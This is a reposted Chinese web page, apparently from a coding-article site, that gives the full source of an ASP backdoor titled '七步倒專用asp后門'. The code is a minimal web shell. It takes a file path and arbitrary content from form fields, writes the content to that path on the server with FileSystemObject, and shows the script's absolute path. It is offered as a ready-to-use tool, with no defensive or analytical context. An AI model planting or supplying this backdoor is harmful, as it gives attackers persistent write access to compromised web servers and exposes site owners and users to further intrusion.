七步倒┈→專用asp后門

2020-07-27 13:09:02

字體：大中小

來源：轉載

供稿：網友

<html>
<head>
<title>七步倒┈→專用asp后門</title>
</head>
</html>
<%dim objFSO%>
<%dim fdata%>
<%dim objCountFile%>
<%on error resume next%>
<%Set objFSO = Server.CreateObject("Scripting.FileSystemObject")%>
<%if Trim(request("syfdpath"))<>"" then%>
<%fdata = request("cyfddata")%>
<%Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True)%>
<%objCountFile.Write fdata%>
<%if err =0 then%>
<%response.write "<font color=blue>Save Success!</font>"%>
<%else%>
<%response.write "<font color=red>Save UnSuccess!</font>"%>
<%end if%>
<%err.clear%>
<%end if%>
<%objCountFile.Close%>
<%Set objCountFile=Nothing%>
<%Set objFSO = Nothing%>
<%Response.write "<form action='''' method=post>"%>
<%Response.write "<font color=blue>save file絕對路徑:</font>"%>
<%Response.Write "<input type=text name=syfdpath width=32 size=50>"%>
<%Response.Write "<br>"%>
<%Response.write "<font color=red>file of 絕對路徑"%>
<%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%>
<%Response.write "<br>"%>
<%Response.write "input:"%>
<%Response.write "<textarea name=cyfddata cols=80 rows=10
width=50></textarea>"%>
<%Response.write "<input type=submit value=save>"%>
<%Response.write "</form>"%>
BY:七步倒

上一篇：ASP對網頁進行保護的簡單代碼 ip

下一篇：asp頁面下的亂碼問題終于解決了